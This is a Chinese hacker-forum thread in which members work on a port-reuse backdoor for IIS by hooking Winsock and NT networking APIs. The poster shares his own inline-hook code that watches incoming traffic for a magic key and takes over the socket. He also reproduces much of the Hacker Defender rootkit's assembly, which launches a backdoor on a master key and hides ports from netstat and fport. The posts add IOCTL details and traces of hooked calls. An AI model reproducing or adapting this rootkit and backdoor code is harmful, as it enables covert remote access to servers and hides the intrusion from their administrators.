baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
TK曾说过,HXDEF用hook recv和WSARecv的方法来实现端口复用的后门连接。
我现在hook了他们和closesocket,结果试我自己的IIS,closesocket可以捕获,但是recv和WSARecv就没有任何反映!是TK欺骗了我?还是我编程上的问题?各位帮忙看一下
我的代码:
//begin network,do hook recv&WSArecv&closesocket
LoadLibrary("WS2_32.dll");LoadLibrary("wshtcpip.dll");LoadLibrary("WS2HELP.DLL");
LoadLibrary("msafd.dll");//加载必要模块否则在解除映射后可能缺少需要的库
DWORD __stdcall thunkcode();
int len=0;
int tmp;
disasm_struct s;
BYTE* allocaddr;
s.disasm_defdata=s.disasm_defaddr=4;
//recv
BYTE* target=(BYTE*)GetProcAddress(LoadLibrary("WS2_32.dll"),"recv");
while(len<5){
len+=disasm(target+len,&s);
}
allocaddr=(BYTE*)thunkcode;
memcpy(allocaddr,target,len);
*(int*)(allocaddr+16)=target+len-allocaddr-0x14;//修正thunkcode jmp
VirtualProtect(target,len,PAGE_EXECUTE_READWRITE,(DWORD*)&tmp);
*target=0xe9;
*(DWORD*)(target+1)=allocaddr+0x14-target-5;
//WSArecv
target=(BYTE*)GetProcAddress(LoadLibrary("WS2_32.dll"),"WSARecv");
len=0;//忘了清0付出惨痛代价
while(len<5){
len+=disasm(target+len,&s);
}
allocaddr=(BYTE*)thunkcode+0x64;
memcpy(allocaddr,target,len);
*(int*)(allocaddr+16)=target+len-allocaddr-0x14;//修正thunkcode jmp
VirtualProtect(target,len,PAGE_EXECUTE_READWRITE,(DWORD*)&tmp);
*target=0xe9;
*(DWORD*)(target+1)=allocaddr+0x14-target-5;
//closesocket
target=(BYTE*)GetProcAddress(LoadLibrary("WS2_32.dll"),"closesocket");
len=0;
while(len<5){
len+=disasm(target+len,&s);
}
allocaddr=(BYTE*)thunkcode+0xd4;
memcpy(allocaddr,target,len);
*(int*)(allocaddr+16)=target+len-allocaddr-0x14;//修正thunkcode jmp
VirtualProtect(target,len,PAGE_EXECUTE_READWRITE,(DWORD*)&tmp);
*target=0xe9;
*(DWORD*)(target+1)=allocaddr+0x14-target-5;
//hook complete
while(1){Sleep(100);
dwThreadId=0;DWORD WINAPI threadfunc( LPVOID lpParam );
if(sockuse){
__asm int 3;
threadfunc((void*)sockuse);sockuse=0;}
}
return 0;}
__declspec(naked)
DWORD __stdcall thunkcode(){
__asm{//没有移动位置故不需要重定位
orirecv:
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
//15个nop留下应该够了
__emit 0xe9
__emit 0
__emit 0
__emit 0
__emit 0
//跳回原来的API后面部分
myrecv://offest:0x14
push ebp
mov ebp,esp
push [ebp+14h]
push [ebp+10h]
push [ebp+0ch]
push [ebp+8]
call orirecv
cmp sockuse,0
jnz noaction1
cmp eax,0
jz noaction1
cmp eax,SOCKET_ERROR
jz noaction1
mov esi,[ebp+0ch]
mov edi,offset characteristic
cld
mov ecx,10h
int 3
repz cmpsb
jz manipulateit1
noaction1:
pop ebp
ret 10h
manipulateit1:
mov edx,[ebp+8]
mov sockuse,edx
mov eax,0
pop ebp
ret 10h
oriWSARecv://offset:0x64
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
//15个nop留下应该够了
__emit 0xe9
__emit 0
__emit 0
__emit 0
__emit 0
//跳回原来的API后面部分
myWSARecv:
push ebp
mov ebp,esp
push [ebp+20h]
push [ebp+1ch]
push [ebp+18h]
push [ebp+14h]
push [ebp+10h]
push [ebp+0ch]
push [ebp+8]
call oriWSARecv
cmp sockuse,0
jnz noaction2
cmp eax,0
jz noaction2
cmp eax,SOCKET_ERROR
jz noaction2
mov esi,[ebp+0ch]
mov esi,[esi+4]
mov edi,offset characteristic
cld
mov ecx,10h
int 3
repz cmpsb
jz manipulateit2
noaction2:
pop ebp
ret 1ch
manipulateit2:
mov edx,[ebp+8]
mov sockuse,edx
mov eax,0
pop ebp
ret 1ch
oriclosesocket://0xd4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
//15个nop留下应该够了
__emit 0xe9
__emit 0
__emit 0
__emit 0
__emit 0
//跳回原来的API后面部分
myclosesocket://offest:0x
push ebp
mov ebp,esp
mov eax,sockuse
int 3
cmp eax,[ebp+8]
jz manipulate3
noaction3:
push [ebp+8]
call oriclosesocket
pop ebp
ret 4
manipulate3:
pop ebp
xor eax,eax
ret 4
characteristic:
__emit 19h
__emit 85h
__emit 08h
__emit 28h
__emit 'b'
__emit 'a'
__emit 'i'
__emit 'y'
__emit 'u'
__emit 'a'
__emit 'n'
__emit 'f'
__emit 'a'
__emit 'n'
__emit 'g'
__emit 0ffh
__emit 0h
}
}
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day
flashsky
发帖: 1120
积分: 75
注册: 2002-09-04
在2002的XCON里,我的议题部分涉及HOOK recv/wsarecv的技术
当时就谈到了一个问题,针对完成端口的SOCKET编程模式,HOOK recv/wsarecv会存在一些问题.
而不幸的是,IIS里的全部是采用完成端口模式编写的SOCKET,因此你就无须抱怨TK了
---
无论将来我们多么富有,或者多么有成就,我们必须站在苦难者的一边,因为那是做人的立场
baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
谢谢闪空提醒,呵呵,我回去换个断点位置试试。
异步的重叠IO模式真是麻烦呀。
PS:TK的RP有WT,不抱怨他抱怨谁?不抱怨也要找理由抱怨,嘿嘿。。
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day
baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
今天做了实验,完成端口模式编写的SOCKET下,在截获了WSARecv返回的数据缓冲区里并没有我们想要的数据,而这些数据应该会在 CompletionRoutine或者EVENT产生时返回到缓冲区。郁闷呀,FS,TK,glacier等高手们帮忙啊,我该怎么办呢?谢谢各位呀
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day
MustBE
发帖: 8
积分: 0
注册: 2004-03-21
根据具体用处的不同,建议你改用ipfilterdriver或firewall-hook(主要区别在于是否要处理transmit出去的数据)
cocoruder
发帖: 347
积分: 1
注册: 2003-10-09
关注ing...
baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
限制用ring3级hook,这个项目中不考虑ring0的实现方案
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day
baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
摘自Network Programming for Windows:
Wi n s o c k提供了一些有趣的I / O模型,有助于应用程序通过一种“异步”方式,一次对一个或多个套接字上进行的
通信加以管理。这些模型包括s e l e c t(选择)、W S A A s y n c S e l e c t(异步选择)、W S A E v e n t S e l e c t(事件选择)、Overlapped I/O(重叠式I / O)以及Completion port(完成端口)等等。
我的理解:
1是阻塞式的,2和3是非重叠异步式的,他们应该是都在事件触发之后再调用一次recv/wsarecv,对我们的hook没有影响。然而后两者是重叠式的异步IO,在WSARecv失败之后到事件发生时数据已经到达了buffer而没有再经过一次recv/wsarecv调用。
因此我们拦截recv/wsarecv似乎无效。
请高手指点!谢谢
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day
glacier
发帖: 1880
积分: 26
注册: 2001-03-04
你HOOK IIS的send函数成功了吗?
---
浮生事,苦海舟,荡去漂来不自由
baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
这个项目里不需要hook send函数,所以没有做实验。但是我想对于异步重叠IO来说,wsasend和wsarecv应该是一样吧
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day
1haoyu
发帖: 3061
积分: 0
注册: --
顶,问题关注中
jackiefzj
发帖: 48
积分: 0
注册: 2003-09-24
hxdef就是拦截WSARecv和recv,而且也实现了完成端口的拦截
可以参考一下
这几天也在弄这个问题,可惜看到hxdef那一堆的汇编和delphi就头痛
dumplogin
发帖: 199
积分: 0
注册: 2003-08-16
咋就不考虑一下ReadFile/WriteFile 呢
baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
楼上的兄弟说深入一些好吗?小弟是菜鸟
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day
baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
dumplogin老兄,我对WSOCK不是很了解啊!你的意思是不是:
非重叠IO的异步WSARecv是在得到TDI的数据到来通知后,是又调用了一次WSARecv,不影响hook
而重叠IO的WSARecv在得到TDI的数据到来通知后虽然没有再调用一次WSARecv,数据就到了缓冲区,但是其实是在收到通知后调用了NtReadFile?
而且进一步,是不是所有(wsa)recv函数实际都是通过NtReadFile实现?
但是我看过一些TDI的驱动,他的数据收发是在IRP_MJ_INTERNAL_DEVICE_CONTROL里的TDI_XXXXXXX函数实现的,和普通的FSD不一样。
谢谢指教!
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day
dumplogin
发帖: 199
积分: 0
注册: 2003-08-16
我的意思是说, windows想读取SOCKET的内容,并不一定只有recv/wsarecv, 用ReadFile照样可以读, WriteFile可写.
你思路局限在WSOCK上面, 可能会碰到无法解决的东西.
baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
其实我主要是问recv/wsarecv或者重叠IO的recv/wsarecv最后是调用了NtReadFile还是就是NtDeviceIOControl?
即使如果是NtReadFile,那个filehandle和socket之间有什么样的对应关系??返回值的意义相同吗?
而且如果在NtReadFile中指定了userAPC的参数的话,我们hook NtReadFile也一样没有用吧,除非去hook那个APC
谢谢各位高手指教啊
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day
dang0102
发帖: 35
积分: 0
注册: 2004-11-10
同意dumplogin 的说法,我自己测试hook SVCHOST(RPC 服务)进程中的recv,替换的函数包括wsock32和ws2_32中的recv()。在此之前普通程序可以成功,但是在该进程却通不过。我当时就怀疑是该进程中接受socket数据的函数不是recv。
继续研究!
baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
花了两天工夫看了看黑客守卫者的代码,终于发现了问题,TK说的不完全正确,recv/wsarecv的确是hook了,但是还有些更重要的,大家看看:
1 recv/wsarecv
//TWSARecv=function(const ASock:TSocket;ABuffers:LPWSABUF;ABufferCount:DWORD;var VNumberOfBytesRecvd:DWORD;var VFlags:DWORD;AOverlapped:LPWSAOVERLAPPED;ACompletionRoutine:LPWSAOVERLAPPED_COMPLETION_ROUTINE):Integer; stdcall;
@fNewWSARecv:
push 004h //local variables
call @NewAPIHead
{
-004 - LResult:Cardinal
}
mov dword ptr [ebp-004h],SOCKET_ERROR
mov edi,[ebp+01Ch]
mov esi,[ebp+014h] //newfeature
lea eax,[ebx+@HT_OldWSARecv]
test dword ptr [eax+011h],-001h
jz @fNewWSARecv_end
push dword ptr [ebp+020h] //ACompletionRoutine
push dword ptr [ebp+01Ch] //AOverlapped
push dword ptr [ebp+018h] //VFlags
push dword ptr [ebp+014h] //VNumberOfBytesRecvd
push dword ptr [ebp+010h] //ABufferCount
push dword ptr [ebp+00Ch] //ABuffers
push dword ptr [ebp+008h] //ASock
call eax
mov [ebp-004h],eax
test eax,eax
jz @fNewWSARecv_nulres
inc eax
jnz @fNewWSARecv_gotbuf
call [ebx+@WSAGetLastErrorAddr]
cmp eax,ERROR_IO_PENDING
jnz @fNewWSARecv_end
@fNewWSARecv_nulres:
test edi,edi
jnz @fNewWSARecv_overlapped
mov eax,[esi]
test eax,eax
jz @fNewWSARecv_end
inc eax
jmp @fNewWSARecv_gotbuf
@fNewWSARecv_overlapped:
mov eax,[ebp+00Ch]
mov eax,[eax+004h]
test eax,eax
jz @fNewWSARecv_end
mov esi,eax
push MASTER_KEY_LEN
push esi
call [ebx+@IsBadReadPtrAddr]
test eax,eax
jnz @fNewWSARecv_lookaround
lea edi,[ebx+@cMasterKey]
call @cmp2pchars_casesens
test eax,eax
jnz @fNewWSARecv_doexec
@fNewWSARecv_lookaround:
sub esi,MASTER_KEY_LEN
push MASTER_KEY_LEN
push esi
call [ebx+@IsBadReadPtrAddr]
test eax,eax
jnz @fNewWSARecv_end
jmp @fNewWSARecv_DoCompareBuf
@fNewWSARecv_gotbuf:
cmp eax,MASTER_KEY_LEN+1
jne @fNewWSARecv_end
mov esi,[ebp+00Ch]
mov esi,[esi+004h]
@fNewWSARecv_DoCompareBuf:
lea edi,[ebx+@cMasterKey]
call @cmp2pchars_casesens
test eax,eax
jz @fNewWSARecv_end
@fNewWSARecv_doexec:
xor eax,eax
mov [esi],eax
push dword ptr [ebp+008h]
call @DoExec
xor eax,eax
mov ecx,[ebp+014h]
mov [ecx],eax
mov [ebp-004h],eax
@fNewWSARecv_end:
push 01Ch
jmp @NewAPITail
2 更重要的,嘿嘿。
//TReadFile=function(AFile:THandle;ABuffer:Pointer;ANumberOfBytesToRead:DWORD;ANumberOfBytesRead:PDWORD;AOverlapped:POverlapped):BOOL;stdcall;
@fNewReadFile:
push 004h //local variables
call @NewAPIHead
{
-004 - LResult:Boolean
}
push 000h
pop dword ptr [ebp-004h]
lea eax,[ebx+@HT_OldReadFile]
test dword ptr [eax+011h],-001h
jz @fNewReadFile_end
mov esi,[ebp+00Ch]
push dword ptr [ebp+018h] //AOverlapped
push dword ptr [ebp+014h] //ANumverOfBytesRead
push dword ptr [ebp+010h] //ANumverOfBytesToRead
push dword ptr [ebp+00Ch] //ABuffer
push dword ptr [ebp+008h] //AFile
call eax
mov [ebp-004h],eax
mov ecx,eax
mov eax,[ebp+014h]
test eax,eax
jz @fNewReadFile_overlapped
mov eax,[eax]
inc eax
test ecx,ecx
jnz @fNewReadFile_gotbuf
@fNewReadFile_overlapped:
call [ebx+@GetLastErrorAddr]
cmp eax,ERROR_IO_PENDING
jnz @fNewReadFile_end
test esi,esi //newfeature
jz @fNewReadFile_end
push MASTER_KEY_LEN
push esi
call [ebx+@IsBadReadPtrAddr]
test eax,eax
jnz @fNewReadFile_lookaround
lea edi,[ebx+@cMasterKey]
call @cmp2pchars_casesens
test eax,eax
jnz @fNewReadFile_doexec
@fNewReadFile_lookaround:
sub esi,MASTER_KEY_LEN
push MASTER_KEY_LEN
push esi
call [ebx+@IsBadReadPtrAddr]
test eax,eax
jnz @fNewReadFile_end
push MASTER_KEY_LEN
pop ecx
@fNewReadFile_lookaround_loop:
push ecx
lea edi,[ebx+@cMasterKey]
call @cmp2pchars_casesens
pop ecx
test eax,eax
jnz @fNewReadFile_doexec
inc esi
loop @fNewReadFile_lookaround_loop
jmp @fNewReadFile_end
@fNewReadFile_gotbuf:
cmp eax,MASTER_KEY_LEN+1
jne @fNewReadFile_end
mov esi,[ebp+00Ch]
@fNewReadFile_DoCompareBuf:
lea edi,[ebx+@cMasterKey]
call @cmp2pchars_casesens
test eax,eax
jz @fNewReadFile_end
@fNewReadFile_doexec:
xor eax,eax
mov [esi],eax
push dword ptr [ebp+008h]
call @DoExec
xor eax,eax
inc eax
mov [ebp-004h],eax
mov eax,[ebp+00Ch]
mov [eax],000h
mov eax,[ebp+014h]
test eax,eax
jz @fNewReadFile_end
mov [eax],000h
@fNewReadFile_end:
push 014h
jmp @NewAPITail
3 还有一个就是NtDeviceIoControlFile似乎和后门连接没关系
//TNtDeviceIoControlFile=function(AFileHandle,AEvent:THandle;AApcRoutine,AApcContext,AIoStatusBlock:Pointer;AIoControlCode:Cardinal;AInputBuffer:Pointer;AInputBufferLength:Cardinal;AOutputBuffer:Pointer;AOutputBufferLength:Cardinal):Cardinal;stdcall;
@fNewNtDeviceIoControlFile:
push 090h //local variables
{
-090..014 - LBuf:array of Char
-010 - LLocPortOfs:Cardinal
-00C - LROWSize:Cardinal
-008 - LFileMappingAddr:Pointer
-004 - LResult:Boolean
}
call @NewAPIHead
push 000h
pop dword ptr [ebp-004h]
lea eax,[ebx+@HT_OldNtDeviceIoControlFile]
test dword ptr [eax+011h],-001h
jz @fNewNtDeviceIoControlFile_end
push dword ptr [ebp+02Ch] //AOutputBufferLength
push dword ptr [ebp+028h] //AOutputBuffer
push dword ptr [ebp+024h] //AInputBufferLength
push dword ptr [ebp+020h] //AInputBuffer
push dword ptr [ebp+01Ch] //AIoControlCode
push dword ptr [ebp+018h] //AIoStatusBlock
push dword ptr [ebp+014h] //AApcContext
push dword ptr [ebp+010h] //AApcRoutine
push dword ptr [ebp+00Ch] //AEvent
push dword ptr [ebp+008h] //AFileHandle
call eax
mov [ebp-004h],eax
test eax,eax
jnz @fNewNtDeviceIoControlFile_end
mov eax,[ebp+01Ch] //AIoControlCode
cmp eax,000120003h
jz @fNewNtDeviceIoControlFile_query
cmp eax,000210012h
jnz @fNewNtDeviceIoControlFile_end
@fNewNtDeviceIoControlFile_query:
lea esi,[ebp-090h] //LBuf
push 000h
pop [esi]
push 000h //ReturnLength
push 07Ch //ObjectInformationLength
push esi //ObjectInformation
push 001h //ObjectInformationClass = ObjectNameInformation
push [ebp+008h] //ObjectHandle
call [ebx+@NtQueryObjectAddr]
{ test eax,eax
jnz @fNewNtDeviceIoControlFile_end}
xor eax,eax //cuz of NT4 :(
push 004h
pop dword ptr [ebp-010h] //LLocPortOfs = UDP
mov [ebp-00Ch],MIB_UDPROW_SIZE //LROWSize = UDP
movzx ecx,word ptr [esi] //ecx -> length in AnsiString
test ecx,ecx
jz @fNewNtDeviceIoControlFile_end
add esi,008h //edi -> name in AnsiString
mov [esi+ecx],ax //add null on the end of wchar
lea edi,[ebx+@cDeviceTCP]
call @cmp_wide_pchar_caseinsens
xor ecx,ecx
test eax,eax
jnz @fNewNtDeviceIoControlFile_relevant
lea edi,[ebx+@cDeviceUDP]
call @cmp_wide_pchar_caseinsens
test eax,eax
jz @fNewNtDeviceIoControlFile_end
push 01h
pop ecx
@fNewNtDeviceIoControlFile_relevant:
mov eax,[ebp+01Ch] //AIoControlCode
cmp eax,000120003h
jz @fNewNtDeviceIoControlFile_like_netstat
cmp dword ptr [ebp+024h],TDI_CONN_IN_SIZE //AInputBufferLength
jnz @fNewNtDeviceIoControlFile_end
mov eax,[ebp+020h]
mov eax,[eax+010h] //TdiConnIn.RemoteAddressLength
sub eax,03h //should be 3
jz @fNewNtDeviceIoControlFile_like_fport
dec eax //or 4
jnz @fNewNtDeviceIoControlFile_end
@fNewNtDeviceIoControlFile_like_fport: //TCP: ecx = 0 | UDP: ecx = 1
mov esi,[ebp+028h] //AOutputBuffer
test esi,esi
jz @fNewNtDeviceIoControlFile_end
push ecx
call @OpenFileMapping
test eax,eax
jz @fNewNtDeviceIoControlFile_pend
mov [ebp-008h],eax
mov edi,eax
push FMP_HIDDEN_PORTS
call @GetFileMappingConst
pop ecx
jecxz @fNewNtDeviceIoControlFile_fgo
movzx eax,word ptr [edi]
shl eax,001h
add edi,eax //number of TCP ports * 2 (sizeof(ushort))
inc edi
inc edi //+ sizeof(ushort)
@fNewNtDeviceIoControlFile_fgo:
inc edi
inc edi //+ sizeof(ushort)
xor eax,eax
xchg esi,edi
movzx ecx,word ptr [edi+00Ch]
xchg ch,cl //htons :)
@fNewNtDeviceIoControlFile_floop:
lodsw
test eax,eax
jz @fNewNtDeviceIoControlFile_CloseMapping
cmp eax,ecx
jnz @fNewNtDeviceIoControlFile_floop
mov [ebp-004h],0C0000141h //STATUS_INVALID_ADDRESS
push TDI_CONN_OUT_FREE_SIZE
pop ecx
xor eax,eax
rep stosb
mov eax,[ebp+018h] //AIoStatusBlock
test eax,eax
jz @fNewNtDeviceIoControlFile_CloseMapping
mov [eax+004h],ecx
jmp @fNewNtDeviceIoControlFile_CloseMapping
@fNewNtDeviceIoControlFile_like_netstat: //and fport xp
cmp dword ptr [ebp+024h],024h //AInputBufferLength
jb @fNewNtDeviceIoControlFile_end //should be => 024h
mov ecx,[ebp+020h] //AInputBuffer
cmp byte ptr [ecx+001h],004h //2nd byte of AInputBuffer
jne @fNewNtDeviceIoControlFile_end //should be = 004h
cmp byte ptr [ecx+011h],001h //17th byte of AInputBuffer
jne @fNewNtDeviceIoControlFile_end //should be = 001h
movzx eax,byte ptr [ecx] //0 if TCP, 1 if UDP
push eax
dec eax
jz @fNewNtDeviceIoControlFile_dif_ex
add dword ptr [ebp-00Ch],MIB_TCPROW_SIZE-MIB_UDPROW_SIZE //LROWSize = TCP
add dword ptr [ebp-010h],004h //LLocPortOfs = TCP
@fNewNtDeviceIoControlFile_dif_ex:
movzx eax,byte ptr [ecx+010h] //1 = normal, 2 = extended
dec eax
jz @fNewNtDeviceIoControlFile_OpenMapping
dec eax
jnz @fNewNtDeviceIoControlFile_pend //no normal, no ex?
add dword ptr [ebp-00Ch],004h //extended = + PID
@fNewNtDeviceIoControlFile_OpenMapping:
call @OpenFileMapping
test eax,eax
jz @fNewNtDeviceIoControlFile_pend
mov [ebp-008h],eax
mov edi,eax
push FMP_HIDDEN_PORTS
call @GetFileMappingConst
pop ecx
jecxz @fNewNtDeviceIoControlFile_go
movzx eax,word ptr [edi]
shl eax,001h
add edi,eax //number of TCP ports * 2 (sizeof(ushort))
inc edi
inc edi //+ sizeof(ushort)
@fNewNtDeviceIoControlFile_go:
inc edi
inc edi //edi on tcp | udp ports
mov esi,[ebp+028h] //AOutputBuffer
mov eax,[ebp+018h] //AIoStatusBlock
mov eax,[eax+004h] //AIoStatusBlock.Information
cdq
push dword ptr [ebp-00Ch] //LROWSize
pop ecx
div ecx
xchg edx,eax //edx should be 0 after div
test eax,eax
jnz @fNewNtDeviceIoControlFile_CloseMapping
test edx,edx
jz @fNewNtDeviceIoControlFile_CloseMapping
xchg esi,edi
@fNewNtDeviceIoControlFile_row_loop:
push esi
@fNewNtDeviceIoControlFile_port_loop:
lodsw //eax -> hidden port number
test eax,eax
jz @fNewNtDeviceIoControlFile_next_row
xchg ah,al //ntohs
mov ecx,[ebp-010h] //LLocPortOfs
cmp eax,[edi+ecx] //MIB_[TCP|UDP]ROW.dwLocalPort
jnz @fNewNtDeviceIoControlFile_port_loop
push edi
push esi
push edx
push dword ptr [ebp-00Ch] //LROWSize
pop ecx
push ecx
mov eax,edx
dec eax
cdq
mul ecx
mov ecx,eax
mov eax,[ebp-00Ch] //LROWSize
lea esi,[edi+eax]
rep movsb
mov eax,[ebp+018h] //AIoStatusBlock
mov ecx,[ebp-00Ch] //LROWSize
sub dword ptr [eax+004h],ecx //AIoStatusBlock.Information
pop ecx
xor eax,eax
rep stosb //del last record
//we don't need this cuz of changing AIoStatusBlock.Information
//but would be possible to detect hxdef when
//debugging netstat cuz may be quite strange to have last record
//copied several times after the end of AOutputBuffer
pop edx
pop esi
pop edi
jmp @fNewNtDeviceIoControlFile_next_record
@fNewNtDeviceIoControlFile_next_row:
add edi,[ebp-00Ch]
@fNewNtDeviceIoControlFile_next_record:
pop esi
dec edx
jnz @fNewNtDeviceIoControlFile_row_loop
@fNewNtDeviceIoControlFile_CloseMapping:
push dword ptr [ebp-008h]
call @CloseFileMapping
push ecx
@fNewNtDeviceIoControlFile_pend:
pop ecx
@fNewNtDeviceIoControlFile_end:
push 028h
jmp @NewAPITail
各位大牛可要评论呀。
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day
baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
另外说下我自己挂接iis的wsarecv/recv的结果,在客户连接时的确有wsarecv调用,但是这个调用会阻塞,在阻塞的时间里客户端已经得到了网页的数据,网页已经显示了出来。一段明显的延迟后,wsarecv才返回。而且是返回-1。我也比较晕,毕竟是菜鸟,等各位大虾评论吧,希望各位教教小弟。
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day
gsid
发帖: 15
积分: 0
注册: 2004-08-31
关注
baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
根据最近向无花果兄讨教的结果,比较可能的是,IIS的完成端口模式,是用wsarecv来传输连接状态,所以我们可以挂钩到wsarecv的调用,但是它并不负责数据传输,所以我们发现它是延时的。而根据hxdef挂钩readfile来判断,IIS可能是用readfile来读取数据。并且知道, IIS6 direct talk to http.sys不通过wsock。所以我觉得不去WIN32API层挂钩是一个好选择。现在看来NtDeviceIoControlFile是个不错的替补对象。
我挂了它,访问自己的IIS,SICE弹出7-8次。看来的确不错。但是还是有问题,这个系统服务未公开,很多参数不知道意义。
status = NtDeviceIoControlFile(
(HANDLE)Handle,
event,
apcRoutine,
apcContext,
ioStatusBlock,
IOCTL_AFD_RECEIVE,
&recvInfo,
sizeof(recvInfo),
NULL,
0
);
1。不知道AFD_RECV_INFO结构定义,就不知道buffer的位置,无法提取数据。
2。不知道IOCTL_AFD_RECEIVE的值就没法分辨recv和其他的TDI调用,如accept,closesocket,send等。
强烈希望潜水的高手们露个头,帮助一下:)
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day
tombkeeper
发帖: 3234
积分: 11
注册: 2001-09-20
刚才调了一下,你看看能不能用:
#define IOCTL_AFD_RECEIVE 0x00012017
buffer = *(char *)(*(DWORD *)recvInfo + sizeof(DWORD))
---
我寒不能怨人傻
人傻不能怨政府
baiyuanfan
发帖: 317
积分: 0
注册: 2004-01-22
把我自己挂它的实验结果放上来。
ntdevioctrl:后面是10个参数的值。invoke result:是返回结果。0成功,103pending
这是我一个get请求截下来的。
ntdevioctrl:670 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:680 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:690 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:780 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:790 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:7dc 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:7ec 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:7fc 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:814 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:824 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:834 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:87c 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:88c 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:678 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:688 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:778 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:788 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:798 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:7e4 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:7f4 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:81c 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:82c 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:874 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:884 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:894 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:8b0 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f27dfc f27dfc 12083 104fcc8 44 11e9b8 840
invoke result:103
ntdevioctrl:8b4 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f27f54 f27f54 12083 104fcc8 44 11f390 840
invoke result:103
ntdevioctrl:8b8 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f280ac f280ac 12083 104fcc8 44 11fd30 840
invoke result:103
ntdevioctrl:8bc 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f28204 f28204 12083 104fcc8 44 1207e0 840
invoke result:103
ntdevioctrl:8c0 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2835c f2835c 12083 104fcc8 44 121290 840
invoke result:103
ntdevioctrl:8c4 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f284b4 f284b4 12083 104fcc8 44 12f008 840
invoke result:103
ntdevioctrl:8c8 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2860c f2860c 12083 104fcc8 44 12f850 840
invoke result:103
ntdevioctrl:8cc 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f28764 f28764 12083 104fcc8 44 1302b0 840
invoke result:103
ntdevioctrl:8d0 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f288bc f288bc 12083 104fcc8 44 130d60 840
invoke result:103
ntdevioctrl:8d4 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f28a14 f28a14 12083 104fcc8 44 131700 840
invoke result:103
ntdevioctrl:8d8 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f28b6c f28b6c 12083 104fcc8 44 1320a0 840
